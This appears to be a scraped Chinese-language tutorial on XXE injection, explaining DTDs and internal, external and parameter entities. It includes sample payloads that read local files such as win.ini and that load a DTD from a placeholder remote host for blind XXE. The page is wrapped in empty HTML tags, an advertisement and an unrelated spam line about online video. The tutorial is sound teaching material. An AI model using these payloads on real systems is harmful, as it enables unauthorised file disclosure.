<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??碼云GVP開源項目 12k star Uniapp+ElementUI 功能強大 支持多語言、二開方便! 廣告
                [TOC] XXE(XML External Entity Injection) 全稱為 XML 外部實體注入 如果使用的php中libxml低于2.9.1,或設置了`libxml_disable_entity_loader(FALSE)`,就會造成XXE漏洞 ?**學習參考地址:** https://xz.aliyun.com/t/3357 ## XML和DTD知識 XML文檔結構 * XML文檔必須有一個根元素 * XML元素都必須有一個關閉標簽 * XML標簽對大小寫敏感 * XML元素必須被正確的嵌套 * XML屬性值必須加引號 ### XML基礎知識 略 ### XML外部實體 1. 什么是XML外部實體? 兩個采用不同技術棧的系統可以通過XML進行通信和交換數據。 在解析外部實體的過程中,XML解析器可以根據URL中指定的方案(協議)來查詢各種網絡協議和服務(DNS,FTP,HTTP,SMB等)。 外部實體對于在文檔中創建動態引用非常有用,這樣對引用資源所做的任何更改都會在文檔中自動更新。 2. 什么是XML外部實體攻擊? 在處理外部實體時,可以針對應用程序啟動許多攻擊。 這些攻擊包括泄露本地系統文件,或利用各種方案的網絡訪問功能來操縱內部應用程序。 通過將這些攻擊與其他實現缺陷相結合,這些攻擊的范圍可以擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷。 ## DTD基礎知識 DTD(Document Type Definition)即文檔類型定義,用來為 XML 文檔定義語義約束。 可以嵌入在 XML 文檔中(內部聲明),也可以獨立的放在一個文件中(外部引用)。 參考鏈接: http://www.w3school.com.cn/dtd/index.asp DTD引用方式(簡要了解): ```xml #1. DTD 內部聲明 <!DOCTYPE 根元素 [元素聲明] > #2. DTD 外部引用 <!DOCTYPE 根元素名稱 SYSTEM "外部DTD的URI" > #3. 引用公共DTD <!DOCTYPE 根元素名稱 PUBLIC "DTD標識名" "公用DTD的URI" > ``` ### 內部實體和外部實體 實體分為兩種,內部實體和外部實體。 * 內部實體語法和示例: ```xml # 內部實體定義語法 <!ENTITY 實體名稱 "實體的值"> #示例 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "www.baidu.com" > ]> <foo>&xxe;</foo> //調用 ``` * 外部實體語法和示例: 外部實體需要加SYSTEM關鍵字 ```xml # 外部實體定義語法 <!ENTITY 實體名稱 SYSTEM "URI/URL"> #示例 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" > ]> <foo>&xxe;</foo> //調用 ``` ### 通用實體和參數實體 實體也可以分成通用實體和參數實體 1. 通用實體 在DTD中定義,在XML文檔中用&引用 示例代碼: ```xml <!DOCTYPE updateProfile [ <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> ... <lastname>&file;</lastname> ... </updateProfile> ``` 2. 參數實體: * 參數實體只能在DTD中定義和引用 * 用`% 實體名`定義,用`% 實體名;`引用 * 參數實體的聲明可以引用其他實體 * 參數實體也可以外部引用 語法和示例代碼: ```xml #語法 <!ENTITY % 實體名稱 "實體的值"> <!ENTITY % 實體名稱 SYSTEM "URI"> #示例 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://x.x.x.x:81/evils.dtd" > //定義參數實體并引用其他實體 %xxe; //引用參數實體,可調出url中的dtd的內容 ]> <foo>&evil;</foo> //引用參數實體url中dtd內的實體 #外部實體evil中的內容。 <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" > ``` 參數實體在我們 Blind XXE 中起到了至關重要的作用
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看